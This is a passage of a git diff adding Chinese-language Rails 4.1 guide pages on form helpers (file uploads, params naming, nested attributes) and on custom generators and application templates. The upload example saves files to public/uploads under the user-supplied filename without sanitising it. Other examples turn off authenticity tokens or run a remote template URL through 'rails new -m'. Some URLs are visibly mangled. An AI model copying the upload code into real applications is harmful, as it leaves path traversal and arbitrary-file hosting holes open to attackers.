有时只需显示日期中的一部分,例如年份或月份。为此,Rails 提供了一系列帮助方法,分别用于创建各时间单位的选择列表:select_yearselect_monthselect_dayselect_hourselect_minuteselect_second。各帮助方法的作用一目了然。默认情况下,这些帮助方法创建的选择列表 name 属性都跟时间单位的名称一样,例如,select_year 方法创建的 select 元素 name 属性值为 yearselect_month 方法创建的 select 元素 name 属性值为 month,不过也可使用 :field_name 选项指定其他值。:prefix 选项的作用与在 select_dateselect_time 方法中一样,且默认值也一样。

这些帮助方法的第一个参数指定选中哪个值,可以是 DateTimeDateTime 类的实例(会从实例中获取对应的值),也可以是数字。例如:

+
+<%= select_year(2009) %>
+<%= select_year(Time.now) %>
+
+
+
+

如果今年是 2009 年,那么上述两种用法生成的 HTML 是一样的。用户选择的值可以通过 params[:date][:year] 获取。

5 上传文件

程序中一个常见的任务是上传某种文件,可以是用户的照片,或者 CSV 文件包含要处理的数据。处理文件上传功能时有一点要特别注意,表单的编码必须设为 "multipart/form-data"。如果使用 form_for 生成上传文件的表单,Rails 会自动加入这个编码。如果使用 form_tag 就得自己设置,如下例所示。

下面这两个表单都能用于上传文件:

+
+<%= form_tag({action: :upload}, multipart: true) do %>
+  <%= file_field_tag 'picture' %>
+<% end %>
+
+<%= form_for @person do |f| %>
+  <%= f.file_field :picture %>
+<% end %>
+
+
+
+

像往常一样,Rails 提供了两种帮助方法:独立的 file_field_tag 方法和处理模型的 file_field 方法。这两个方法和其他帮助方法唯一的区别是不能为文件选择框指定默认值,因为这样做没有意义。正如你所期望的,file_field_tag 方法上传的文件在 params[:picture] 中,file_field 方法上传的文件在 params[:person][:picture] 中。

5.1 上传了什么

存在 params Hash 中的对象其实是 IO 的子类,根据文件大小,可能是 StringIO 或者是存储在临时文件中的 File 实例。不管是哪个类,这个对象都有 original_filename 属性,其值为文件在用户电脑中的文件名;还有个 content_type 属性,其值为上传文件的 MIME 类型。下面这段代码把上传的文件保存在 #{Rails.root}/public/uploads 文件夹中,文件名和原始文件名一样(假设使用前面的表单上传)。

+
+def upload
+  uploaded_io = params[:person][:picture]
+  File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'wb') do |file|
+    file.write(uploaded_io.read)
+  end
+end
+
+
+
+

文件上传完毕后可以做很多操作,例如把文件存储在某个地方(服务器的硬盘,Amazon S3 等);把文件和模型关联起来;缩放图片,生成缩略图。这些复杂的操作已经超出了本文范畴。有很多代码库可以协助完成这些操作,其中两个广为人知的是 CarrierWavePaperclip

如果用户没有选择文件,相应的参数为空字符串。

5.2 使用 Ajax 上传文件

异步上传文件和其他类型的表单不一样,仅在 form_for 方法中加入 remote: true 选项是不够的。在 Ajax 表单中,使用浏览器中的 JavaScript 进行序列化,但是 JavaScript 无法读取硬盘中的文件,因此文件无法上传。常见的解决方法是使用一个隐藏的 iframe 作为表单提交的目标。

6 定制表单构造器

前面说过,form_forfields_for 方法拽入的对象是 FormBuilder 或其子类的实例。表单构造器中封装了用于显示单个对象表单元素的信息。你可以使用常规的方式使用各帮助方法,也可以继承 FormBuilder 类,添加其他的帮助方法。例如:

+
+<%= form_for @person do |f| %>
+  <%= text_field_with_label f, :first_name %>
+<% end %>
+
+
+
+

可以写成:

+
+<%= form_for @person, builder: LabellingFormBuilder do |f| %>
+  <%= f.text_field :first_name %>
+<% end %>
+
+
+
+

在此之前需要定义 LabellingFormBuilder 类,如下所示:

+
+class LabellingFormBuilder < ActionView::Helpers::FormBuilder
+  def text_field(attribute, options={})
+    label(attribute) + super
+  end
+end
+
+
+
+

如果经常这么使用,可以定义 labeled_form_for 帮助方法,自动启用 builder: LabellingFormBuilder 选项。

所用的表单构造器还会决定执行下面这个渲染操作时会发生什么:

+
+<%= render partial: f %>
+
+
+
+

如果 fFormBuilder 类的实例,上述代码会渲染局部视图 form,并把传入局部视图的对象设为表单构造器。如果表单构造器是 LabellingFormBuilder 类的实例,则会渲染局部视图 labelling_form

7 理解参数命名约定

从前几节可以看出,表单提交的数据可以直接保存在 params Hash 中,或者嵌套在子 Hash 中。例如,在 Person 模型对应控制器的 create 动作中,params[:person] 一般是一个 Hash,保存创建 Person 实例的所有属性。params Hash 中也可以保存数组,或由 Hash 组成的数组,等等。

HTML 表单基本上不能处理任何结构化数据,提交的只是由普通的字符串组成的键值对。在程序中使用的数组参数和 Hash 参数是通过 Rails 的参数命名约定生成的。

如果想快速试验本节中的示例,可以在控制台中直接调用 Rack 的参数解析器。例如: +T> +ruby +TIP: Rack::Utils.parse_query "name=fred&phone=0123456789" +TIP: # => {"name"=>"fred", "phone"=>"0123456789"} +TIP:

7.1 基本结构

数组和 Hash 是两种基本结构。获取 Hash 中值的方法和 params 一样。如果表单中包含以下控件:

+
+<input id="person_name" name="person[name]" type="text" value="Henry"/>
+
+
+
+

得到的 params 值为:

+
+{'person' => {'name' => 'Henry'}}
+
+
+
+

在控制器中可以使用 params[:person][:name] 获取提交的值。

Hash 可以随意嵌套,不限制层级,例如:

+
+<input id="person_address_city" name="person[address][city]" type="text" value="New York"/>
+
+
+
+

得到的 params 值为:

+
+{'person' => {'address' => {'city' => 'New York'}}}
+
+
+
+

一般情况下 Rails 会忽略重复的参数名。如果参数名中包含空的方括号([]),Rails 会将其组建成一个数组。如果想让用户输入多个电话号码,在表单中可以这么做:

+
+<input name="person[phone_number][]" type="text"/>
+<input name="person[phone_number][]" type="text"/>
+<input name="person[phone_number][]" type="text"/>
+
+
+
+

得到的 params[:person][:phone_number] 就是一个数组。

7.2 结合在一起使用

上述命名约定可以结合起来使用,让 params 的某个元素值为数组(如前例),或者由 Hash 组成的数组。例如,使用下面的表单控件可以填写多个地址:

+
+<input name="addresses[][line1]" type="text"/>
+<input name="addresses[][line2]" type="text"/>
+<input name="addresses[][city]" type="text"/>
+
+
+
+

得到的 params[:addresses] 值是一个由 Hash 组成的数组,Hash 中的键包括 line1line2city。如果 Rails 发现输入框的 name 属性值已经存在于当前 Hash 中,就会新建一个 Hash。

不过有个限制,虽然 Hash 可以嵌套任意层级,但数组只能嵌套一层。如果需要嵌套多层数组,可以使用 Hash 实现。例如,如果想创建一个包含模型对象的数组,可以创建一个 Hash,以模型对象的 ID、数组索引或其他参数为键。

数组类型参数不能很好的在 check_box 帮助方法中使用。根据 HTML 规范,未选中的复选框不应该提交值。但是不管是否选中都提交值往往更便于处理。为此 check_box 方法额外创建了一个同名的隐藏 input 元素。如果没有选中复选框,只会提交隐藏 input 元素的值,如果选中则同时提交两个值,但复选框的值优先级更高。处理数组参数时重复提交相同的参数会让 Rails 迷惑,因为对 Rails 来说,见到重复的 input 值,就会创建一个新数组元素。所以更推荐使用 check_box_tag 方法,或者用 Hash 代替数组。

7.3 使用表单帮助方法

前面几节并没有使用 Rails 提供的表单帮助方法。你可以自己创建 input 元素的 name 属性,然后直接将其传递给 text_field_tag 等帮助方法。但是 Rails 提供了更高级的支持。本节介绍 form_forfields_for 方法的 name 参数以及 :index 选项。

你可能会想编写一个表单,其中有很多字段,用于编辑某人的所有地址。例如:

+
+<%= form_for @person do |person_form| %>
+  <%= person_form.text_field :name %>
+  <% @person.addresses.each do |address| %>
+    <%= person_form.fields_for address, index: address.id do |address_form|%>
+      <%= address_form.text_field :city %>
+    <% end %>
+  <% end %>
+<% end %>
+
+
+
+

假设这个人有两个地址,ID 分别为 23 和 45。那么上述代码生成的 HTML 如下:

+
+<form accept-charset="UTF-8" action="http://github.com/people/1" class="edit_person" id="edit_person_1" method="post">
+  <input id="person_name" name="person[name]" type="text" />
+  <input id="person_address_23_city" name="person[address][23][city]" type="text" />
+  <input id="person_address_45_city" name="person[address][45][city]" type="text" />
+</form>
+
+
+
+

得到的 params Hash 如下:

+
+{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}}
+
+
+
+

Rails 之所以知道这些输入框中的值是 person Hash 的一部分,是因为我们在第一个表单构造器上调用了 fields_for 方法。指定 :index 选项的目的是告诉 Rails,其中的输入框 name 属性值不是 person[address][city],而要在 addresscity 索引之间插入 :index 选项对应的值(放入方括号中)。这么做很有用,因为便于分辨要修改的 Address 记录是哪个。:index 选项的值可以是具有其他意义的数字、字符串,甚至是 nil(此时会新建一个数组参数)。

如果想创建更复杂的嵌套,可以指定 name 属性的第一部分(前例中的 person[address]):

+
+<%= fields_for 'person[address][primary]', address, index: address do |address_form| %>
+  <%= address_form.text_field :city %>
+<% end %>
+
+
+
+

生成的 HTML 如下:

+
+<input id="person_address_primary_1_city" name="person[address][primary][1][city]" type="text" value="bologna" />
+
+
+
+

一般来说,最终得到的 name 属性值是 fields_forform_for 方法的第一个参数加 :index 选项的值再加属性名。:index 选项也可直接传给 text_field 等帮助方法,但在表单构造器中指定可以避免代码重复。

为了简化句法,还可以不使用 :index 选项,直接在第一个参数后面加上 []。这么做和指定 index: address 选项的作用一样,因此下面这段代码

+
+<%= fields_for 'person[address][primary][]', address do |address_form| %>
+  <%= address_form.text_field :city %>
+<% end %>
+
+
+
+

生成的 HTML 和前面一样。

8 处理外部资源的表单

如果想把数据提交到外部资源,还是可以使用 Rails 提供的表单帮助方法。但有时需要为这些资源创建 authenticity_token。做法是把 authenticity_token: 'your_external_token' 作为选项传递给 form_tag 方法:

+
+<%= form_tag 'http://farfar.away/form', authenticity_token: 'external_token') do %>
+  Form contents
+<% end %>
+
+
+
+

提交到外部资源的表单,其中可包含的字段有时受 API 的限制,例如支付网关。所有可能不用生成隐藏的 authenticity_token 字段,此时把 :authenticity_token 选项设为 false 即可:

+
+<%= form_tag 'http://farfar.away/form', authenticity_token: false) do %>
+  Form contents
+<% end %>
+
+
+
+

以上技术也可用在 form_for 方法中:

+
+<%= form_for @invoice, url: external_url, authenticity_token: 'external_token' do |f| %>
+  Form contents
+<% end %>
+
+
+
+

如果不想生成 authenticity_token 字段,可以这么做:

+
+<%= form_for @invoice, url: external_url, authenticity_token: false do |f| %>
+  Form contents
+<% end %>
+
+
+
+

9 编写复杂的表单

很多程序已经复杂到在一个表单中编辑一个对象已经无法满足需求了。例如,创建 Person 对象时还想让用户在同一个表单中创建多个地址(家庭地址,工作地址,等等)。以后编辑这个 Person 时,还想让用户根据需要添加、删除或修改地址。

9.1 设置模型

Active Record 为此种需求在模型中提供了支持,通过 accepts_nested_attributes_for 方法实现:

+
+class Person < ActiveRecord::Base
+  has_many :addresses
+  accepts_nested_attributes_for :addresses
+end
+
+class Address < ActiveRecord::Base
+  belongs_to :person
+end
+
+
+
+

这段代码会在 Person 对象上创建 addresses_attributes= 方法,用于创建、更新和删除地址(可选操作)。

9.2 嵌套表单

使用下面的表单可以创建 Person 对象及其地址:

+
+<%= form_for @person do |f| %>
+  Addresses:
+  <ul>
+    <%= f.fields_for :addresses do |addresses_form| %>
+      <li>
+        <%= addresses_form.label :kind %>
+        <%= addresses_form.text_field :kind %>
+
+        <%= addresses_form.label :street %>
+        <%= addresses_form.text_field :street %>
+        ...
+      </li>
+    <% end %>
+  </ul>
+<% end %>
+
+
+
+

如果关联支持嵌套属性,fields_for 方法会为关联中的每个元素执行一遍代码块。如果没有地址,就不执行代码块。一般的作法是在控制器中构建一个或多个空的子属性,这样至少会有一组字段显示出来。下面的例子会在新建 Person 对象的表单中显示两组地址字段。

+
+def new
+  @person = Person.new
+  2.times { @person.addresses.build}
+end
+
+
+
+

fields_for 方法拽入一个表单构造器,参数的名字就是 accepts_nested_attributes_for 方法期望的。例如,如果用户填写了两个地址,提交的参数如下:

+
+{
+  'person' => {
+    'name' => 'John Doe',
+    'addresses_attributes' => {
+      '0' => {
+        'kind' => 'Home',
+        'street' => '221b Baker Street'
+      },
+      '1' => {
+        'kind' => 'Office',
+        'street' => '31 Spooner Street'
+      }
+    }
+  }
+}
+
+
+
+

:addresses_attributes Hash 的键是什么不重要,但至少不能相同。

如果关联的对象已经存在于数据库中,fields_for 方法会自动生成一个隐藏字段,value 属性的值为记录的 id。把 include_id: false 选项传递给 fields_for 方法可以禁止生成这个隐藏字段。如果自动生成的字段位置不对,导致 HTML 无法通过验证,或者在 ORM 关系中子对象不存在 id 字段,就可以禁止自动生成这个隐藏字段。

9.3 控制器端

像往常一样,参数传递给模型之前,在控制器中要过滤参数

+
+def create
+  @person = Person.new(person_params)
+  # ...
+end
+
+private
+  def person_params
+    params.require(:person).permit(:name, addresses_attributes: [:id, :kind, :street])
+  end
+
+
+
+

9.4 删除对象

如果允许用户删除关联的对象,可以把 allow_destroy: true 选项传递给 accepts_nested_attributes_for 方法:

+
+class Person < ActiveRecord::Base
+  has_many :addresses
+  accepts_nested_attributes_for :addresses, allow_destroy: true
+end
+
+
+
+

如果属性组成的 Hash 中包含 _destroy 键,且其值为 1true,就会删除对象。下面这个表单允许用户删除地址:

+
+<%= form_for @person do |f| %>
+  Addresses:
+  <ul>
+    <%= f.fields_for :addresses do |addresses_form| %>
+      <li>
+        <%= addresses_form.check_box :_destroy%>
+        <%= addresses_form.label :kind %>
+        <%= addresses_form.text_field :kind %>
+        ...
+      </li>
+    <% end %>
+  </ul>
+<% end %>
+
+
+
+

别忘了修改控制器中的参数白名单,允许使用 _destroy

+
+def person_params
+  params.require(:person).
+    permit(:name, addresses_attributes: [:id, :kind, :street, :_destroy])
+end
+
+
+
+

9.5 避免创建空记录

如果用户没有填写某些字段,最好将其忽略。此功能可以通过 accepts_nested_attributes_for 方法的 :reject_if 选项实现,其值为 Proc 对象。这个 Proc 对象会在通过表单提交的每一个属性 Hash 上调用。如果返回值为 false,Active Record 就不会为这个 Hash 构建关联对象。下面的示例代码只有当 kind 属性存在时才尝试构建地址对象:

+
+class Person < ActiveRecord::Base
+  has_many :addresses
+  accepts_nested_attributes_for :addresses, reject_if: lambda {|attributes| attributes['kind'].blank?}
+end
+
+
+
+

为了方便,可以把 reject_if 选项的值设为 :all_blank,此时创建的 Proc 会拒绝为 _destroy 之外其他属性都为空的 Hash 构建对象。

9.6 按需添加字段

我们往往不想事先显示多组字段,而是当用户点击“添加新地址”按钮后再显示。Rails 并没有内建这种功能。生成新的字段时要确保关联数组的键是唯一的,一般可在 JavaScript 中使用当前时间。

+ +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/generators.html b/v4.1/generators.html new file mode 100644 index 0000000..0954aa1 --- /dev/null +++ b/v4.1/generators.html @@ -0,0 +1,836 @@ + + + + + + + +个性化Rails生成器与模板 — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

个性化Rails生成器与模板

Rails 生成器是提高你工作效率的有力工具。通过本章节的学习,你可以了解如何创建和个性化生成器。

通过学习本章节,你将学到:

+
    +
  • 如何在你的Rails应用中辨别哪些生成器是可用的;
  • +
  • 如何使用模板创建一个生成器;
  • +
  • Rails应用在调用生成器之前如何找到他们;
  • +
  • 如何通过创建一个生成器来定制你的 scaffold ;
  • +
  • 如何通过改变生成器模板定制你的scaffold ;
  • +
  • 如何使用回调复用生成器;
  • +
  • 如何创建一个应用模板;
  • +
+ + + + +
+
+ +
+
+
+

1 简单介绍

当使用rails 命令创建一个应用的时候,实际上使用的是一个Rails生成器,创建应用之后,你可以使用rails generate命令获取当前可用的生成器列表:

+
+$ rails new myapp
+$ cd myapp
+$ bin/rails generate
+
+
+
+

你将会看到和Rails相关的生成器列表,如果想了解这些生成器的详情,可以做如下操作:

+
+$ bin/rails generate helper --help
+
+
+
+

2 创建你的第一个生成器

从Rails 3.0开始,生成器都是基于Thor构建的。Thor提供了强力的解析和操作文件的功能。比如,我们想让生成器在config/initializers目录下创建一个名为initializer.rb的文件:

第一步可以通过lib/generators/initializer_generator.rb中的代码创建一个文件:

+
+class InitializerGenerator < Rails::Generators::Base
+  def create_initializer_file
+    create_file "config/initializers/initializer.rb", "# Add initialization content here"
+  end
+end
+
+
+
+

提示: Thor::Actions提供了create_file方法。关于create_file方法的详情可以参考Thor's documentation

我们创建的生成器非常简单: 它继承自Rails::Generators::Base,只包含一个方法。当一个生成器被调用时,每个在生成器内部定义的方法都会顺序执行一次。最终,我们会根据程序执行环境调用create_file方法,在目标文件目录下创建一个文件。 如果你很熟悉Rails应用模板API,那么你在看生成器API时,也会轻车熟路,没什么障碍。

为了调用我们刚才创建的生成器,我们只需要做如下操作:

+
+$ bin/rails generate initializer
+
+
+
+

我们可以通过如下代码,了解我们刚才创建的生成器的相关信息: +bash +$ bin/rails generate initializer --help +

Rails可以对一个命名空间化的生成器自动生成一个很好的描述信息。比如 ActiveRecord::Generators::ModelGenerator。一般而言,我们可以通过2中方式生成相关的描述。第一种是在生成器内部调用desc方法:

+
+class InitializerGenerator < Rails::Generators::Base
+  desc "This generator creates an initializer file at config/initializers"
+  def create_initializer_file
+    create_file "config/initializers/initializer.rb", "# Add initialization content here"
+  end
+end
+
+
+
+

现在我们可以通过--help选项看到刚创建的生成器的描述信息。第二种是在生成器同名的目录下创建一个名为USAGE的文件存放和生成器相关的描述信息。

3 用生成器创建生成器

生成器本身拥有一个生成器:

+
+$ bin/rails generate generator initializer
+      create  lib/generators/initializer
+      create  lib/generators/initializer/initializer_generator.rb
+      create  lib/generators/initializer/USAGE
+      create  lib/generators/initializer/templates
+
+
+
+

这个生成器实际上只创建了这些:

+
+class InitializerGenerator < Rails::Generators::NamedBase
+  source_root File.expand_path("../templates", __FILE__)
+end
+
+
+
+

首先,我们注意到生成器是继承自Rails::Generators::NamedBase而非Rails::Generators::Base, +这意味着,我们的生成器在被调用时,至少要接收一个参数,即初始化器的名字。这样我们才能通过代码中的变量name来访问它。

我们可以通过查看生成器的描述信息来证实(别忘了删除旧的生成器文件):

+
+$ bin/rails generate initializer --help
+Usage:
+  rails generate initializer NAME [options]
+
+
+
+

我们可以看到刚才创建的生成器有一个名为source_root的类方法。这个方法会指定生成器模板文件的存放路径,一般情况下,会放在 lib/generators/initializer/templates目录下。

为了了解生成器模板的作用,我们在lib/generators/initializer/templates/initializer.rb创建该文件,并添加如下内容:

+
+# Add initialization content here
+
+
+
+

现在,我们来为生成器添加一个拷贝方法,将模板文件拷贝到指定目录:

+
+class InitializerGenerator < Rails::Generators::NamedBase
+  source_root File.expand_path("../templates", __FILE__)
+
+  def copy_initializer_file
+    copy_file "initializer.rb", "config/initializers/#{file_name}.rb"
+  end
+end
+
+
+
+

接下来,使用刚才创建的生成器:

+
+$ bin/rails generate initializer core_extensions
+
+
+
+

我们可以看到通过生成器的模板在config/initializers/core_extensions.rb创建了一个名为core_extensions的初始化器。这说明 copy_file 方法从指定文件下拷贝了一个文件到目标文件夹。因为我们是继承自Rails::Generators::NamedBase的,所以会自动生成file_name方法 。

这个方法将在本章节的final section实现完整功能。

4 生成器查找

当你运行 rails generate initializer core_extensions 命令时,Rails会做如下搜索:

+
+rails/generators/initializer/initializer_generator.rb
+generators/initializer/initializer_generator.rb
+rails/generators/initializer_generator.rb
+generators/initializer_generator.rb
+
+
+
+

如果没有找到,你将会看到一个错误信息。

提示: 上面的例子把文件放在Rails应用的lib文件夹下,是因为该文件夹路径属于$LOAD_PATH

5 个性化你的工作流 

Rails自带的生成器为工作流的个性化提供了支持。它们可以在config/application.rb中进行配置:

+
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, fixture: true
+end
+
+
+
+

在个性化我们的工作流之前,我们先看看scaffold工具会做些什么: 

+
+$ bin/rails generate scaffold User name:string
+      invoke  active_record
+      create    db/migrate/20130924151154_create_users.rb
+      create    app/models/user.rb
+      invoke    test_unit
+      create      test/models/user_test.rb
+      create      test/fixtures/users.yml
+      invoke  resource_route
+       route    resources :users
+      invoke  scaffold_controller
+      create    app/controllers/users_controller.rb
+      invoke    erb
+      create      app/views/users
+      create      app/views/users/index.html.erb
+      create      app/views/users/edit.html.erb
+      create      app/views/users/show.html.erb
+      create      app/views/users/new.html.erb
+      create      app/views/users/_form.html.erb
+      invoke    test_unit
+      create      test/controllers/users_controller_test.rb
+      invoke    helper
+      create      app/helpers/users_helper.rb
+      invoke      test_unit
+      create        test/helpers/users_helper_test.rb
+      invoke    jbuilder
+      create      app/views/users/index.json.jbuilder
+      create      app/views/users/show.json.jbuilder
+      invoke  assets
+      invoke    coffee
+      create      app/assets/javascripts/users.js.coffee
+      invoke    scss
+      create      app/assets/stylesheets/users.css.scss
+      invoke  scss
+      create    app/assets/stylesheets/scaffolds.css.scss
+
+
+
+

通过上面的内容,我们可以很容易理解Rails3.0以上版本的生成器是如何工作的。scaffold生成器几乎不生成文件。它只是调用其他生成器去做。这样的话,我们可以很方便的添加/替换/删除这些被调用的生成器。比如说,scaffold生成器调用了scaffold_controller生成器(调用了erb,test_unit和helper生成器),它们每个生成器都有一个单独的响应方法,这样就很容易实现代码复用。

如果我们希望scaffold 在生成工作流时不必生成样式表,脚本文件和测试固件等文件,那么我们可以进行如下配置:

+
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, fixture: false
+  g.stylesheets     false
+  g.javascripts     false
+end
+
+
+
+

如果我们使用scaffold生成器创建另外一个资源时,就会发现样式表,脚本文件和测试固件的文件都不再创建了。如果你想更深入的进行定制,比如使用DataMapper和RSpec 替换Active Record和TestUnit +,那么只需要把相关的gem文件引入,并配置你的生成器。

为了证明这一点,我们将创建一个新的helper生成器,简单的添加一些实例变量访问器。首先,我们创建一个带Rails命名空间的的生成器,因为这样为Rails方便搜索提供了支持:

+
+$ bin/rails generate generator rails/my_helper
+      create  lib/generators/rails/my_helper
+      create  lib/generators/rails/my_helper/my_helper_generator.rb
+      create  lib/generators/rails/my_helper/USAGE
+      create  lib/generators/rails/my_helper/templates
+
+
+
+

现在,我们可以删除templatessource_root文件了,因为我们将不会用到它们,接下来我们在生成器中添加如下代码:

+
+# lib/generators/rails/my_helper/my_helper_generator.rb
+class Rails::MyHelperGenerator < Rails::Generators::NamedBase
+  def create_helper_file
+    create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
+module #{class_name}Helper
+  attr_reader :#{plural_name}, :#{plural_name.singularize}
+end
+    FILE
+  end
+end
+
+
+
+

我们可以使用修改过的生成器为products提供一个helper文件:

+
+$ bin/rails generate my_helper products
+      create  app/helpers/products_helper.rb
+
+
+
+

这将会在 app/helpers目录下生成一个对应的文件:

+
+module ProductsHelper
+  attr_reader :products, :product
+end
+
+
+
+

这就是我们希望看到的。现在,我们可以修改config/application.rb,告诉scaffold使用我们的helper 生成器:

+
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, fixture: false
+  g.stylesheets     false
+  g.javascripts     false
+  g.helper          :my_helper
+end
+
+
+
+

你将在生成动作列表中看到上述方法的调用:

+
+$ bin/rails generate scaffold Article body:text
+      [...]
+      invoke    my_helper
+      create      app/helpers/articles_helper.rb
+
+
+
+

我们注意到新的helper生成器替换了Rails默认的调用。但有一件事情却忽略了,如何为新的生成器提供测试呢?我们可以复用原有的helpers测试生成器。

从Rails 3.0开始,简单的实现上述功能依赖于钩子的概念。我们新的helper方法不需要拘泥于特定的测试框架,它可以简单的提供一个钩子,测试框架只需要实现这个钩子并与之一致即可。

为此,我们需要对生成器做如下修改:

+
+# lib/generators/rails/my_helper/my_helper_generator.rb
+class Rails::MyHelperGenerator < Rails::Generators::NamedBase
+  def create_helper_file
+    create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
+module #{class_name}Helper
+  attr_reader :#{plural_name}, :#{plural_name.singularize}
+end
+    FILE
+  end
+
+  hook_for :test_framework
+end
+
+
+
+

现在,当helper生成器被调用时,与之匹配的测试框架是TestUnit,那么这将会调用Rails::TestUnitGeneratorTestUnit::MyHelperGenerator。如果他们都没有定义,我们可以告诉生成器调用TestUnit::Generators::HelperGenerator来替代。对于一个Rails生成器来说,我们只需要添加如下代码:

+
+# Search for :helper instead of :my_helper
+hook_for :test_framework, as: :helper
+
+
+
+

现在,你再次运行scaffold生成器生成Rails应用时,它就会生成相关的测试了。

6 通过修改生成器模板个性化工作流

上一章节中,我们只是简单的在helper生成器中添加了一行代码,没有添加额外的功能。有一种简便的方法可以实现它,那就是替换模版中已经存在的生成器。比如Rails::Generators::HelperGenerator

从Rails 3.0开始,生成器不只是在源目录中查找模版,它们也会搜索其他路径。其中一个就是lib/templates,如果我们想定制Rails::Generators::HelperGenerator,那么我们可以在lib/templates/rails/helper中添加一个名为helper.rb的文件,文件内容包含如下代码:

+
+module <%= class_name %>Helper
+  attr_reader :<%= plural_name %>, :<%= plural_name.singularize %>
+end
+
+
+
+

config/application.rb中重复的内容删除:

+
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, fixture: false
+  g.stylesheets     false
+  g.javascripts     false
+end
+
+
+
+

现在生成另外一个Rails应用时,你会发现得到的结果几乎一致。这是一个很有用的功能,如果你只想修改edit.html.erb, index.html.erb等文件的布局,那么可以在lib/templates/erb/scaffold中进行配置。

7 让生成器支持备选功能

最后将要介绍的生成器特性对插件生成器特别有用。举个例子,如果你想给TestUnit添加一个名为 shoulda的特性,TestUnit已经实现了所有Rails要求的生成器功能,shoulda想重用其中的部分功能,shoulda不需要重新实现这些生成器,可以告诉Rails使用TestUnit的生成器,如果在Shoulda的命名空间中没找到的话。

我们可以通过修改config/application.rb的内容,很方便的实现这个功能:

+
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :shoulda, fixture: false
+  g.stylesheets     false
+  g.javascripts     false
+
+  # Add a fallback!
+  g.fallbacks[:shoulda] = :test_unit
+end
+
+
+
+

现在,如果你使用scaffold 创建一个Comment 资源,那么你将看到shoulda生成器被调用了,但最后调用的是TestUnit的生成器方法:

+
+$ bin/rails generate scaffold Comment body:text
+      invoke  active_record
+      create    db/migrate/20130924143118_create_comments.rb
+      create    app/models/comment.rb
+      invoke    shoulda
+      create      test/models/comment_test.rb
+      create      test/fixtures/comments.yml
+      invoke  resource_route
+       route    resources :comments
+      invoke  scaffold_controller
+      create    app/controllers/comments_controller.rb
+      invoke    erb
+      create      app/views/comments
+      create      app/views/comments/index.html.erb
+      create      app/views/comments/edit.html.erb
+      create      app/views/comments/show.html.erb
+      create      app/views/comments/new.html.erb
+      create      app/views/comments/_form.html.erb
+      invoke    shoulda
+      create      test/controllers/comments_controller_test.rb
+      invoke    my_helper
+      create      app/helpers/comments_helper.rb
+      invoke      shoulda
+      create        test/helpers/comments_helper_test.rb
+      invoke    jbuilder
+      create      app/views/comments/index.json.jbuilder
+      create      app/views/comments/show.json.jbuilder
+      invoke  assets
+      invoke    coffee
+      create      app/assets/javascripts/comments.js.coffee
+      invoke    scss
+
+
+
+

备选功能支持你的生成器拥有单独的响应,可以实现代码复用,减少重复代码。

8 应用模版

现在你已经了解如何在一个应用中使用生成器,那么你知道生成器还可以生成应用吗? 这种生成器一般是由"template"来实现的。接下来我们会简要介绍模版API,进一步了解可以参考Rails Application Templates guide

+
+gem "rspec-rails", group: "test"
+gem "cucumber-rails", group: "test"
+
+if yes?("Would you like to install Devise?")
+  gem "devise"
+  generate "devise:install"
+  model_name = ask("What would you like the user model to be called? [user]")
+  model_name = "user" if model_name.blank?
+  generate "devise", model_name
+end
+
+
+
+

上述模版在Gemfile声明了 rspec-railscucumber-rails两个gem包属于test组,之后会发送一个问题给使用者,是否希望安装Devise?如果用户同意安装,那么模版会将Devise添加到Gemfile文件中,并运行 devise:install命令,之后根据用户输入的模块名,指定devise所属模块。

假如你想使用一个名为template.rb的模版文件,我们可以通过在执行 rails new命令时,加上 -m 选项来改变输出信息:

+
+$ rails new thud -m template.rb
+
+
+
+

上述命令将会生成Thud 应用,并使用模版生成输出信息。

模版文件不一定要存储在本地文件中, -m选项也支持在线模版:

+
+$ rails new thud -m https://gist.github.com/radar/722911/raw/
+
+
+
+

本文最后的章节没有介绍如何生成大家都熟知的模版,而是介绍在开发模版过程中会用到的方法。同样这些方法也可以通过生成器来调用。

9 生成器方法

下面要介绍的方法对生成器和模版来说都是可用的。

提示: Thor中未介绍的方法可以通过访问Thor's documentation做进一步了解。

9.1 gem +

声明一个gem在Rails应用中的依赖项。

+
+gem "rspec", group: "test", version: "2.1.0"
+gem "devise", "1.1.5"
+
+
+
+

可用的选项如下:

+
    +
  • +:group - 在Gemfile中声明所安装的gem包所在的分组。
  • +
  • +:version - 声明gem的版本信息,你也可以在该方法的第二个参数中声明。
  • +
  • +:git - gem包相关的git地址
  • +
+

可以在该方法参数列表的最后添加额外的信息:

+
+gem "devise", git: "git://github.com/plataformatec/devise", branch: "master"
+
+
+
+

上述代码将在Gemfile中添加如下内容:

+
+gem "devise", git: "git://github.com/plataformatec/devise", branch: "master"
+
+
+
+

9.2 gem_group +

将gem包安装到指定组中:

+
+gem_group :development, :test do
+  gem "rspec-rails"
+end
+
+
+
+

9.3 add_source +

Gemfile文件添加指定数据源:

+
+add_source "http://gems.github.com/"
+
+
+
+

9.4 inject_into_file +

在文件中插入一段代码:

+
+inject_into_file 'name_of_file.rb', after: "#The code goes below this line. Don't forget the Line break at the end\n" do <<-'RUBY'
+  puts "Hello World"
+RUBY
+end
+
+
+
+

9.5 gsub_file +

替换文件中的文本:

+
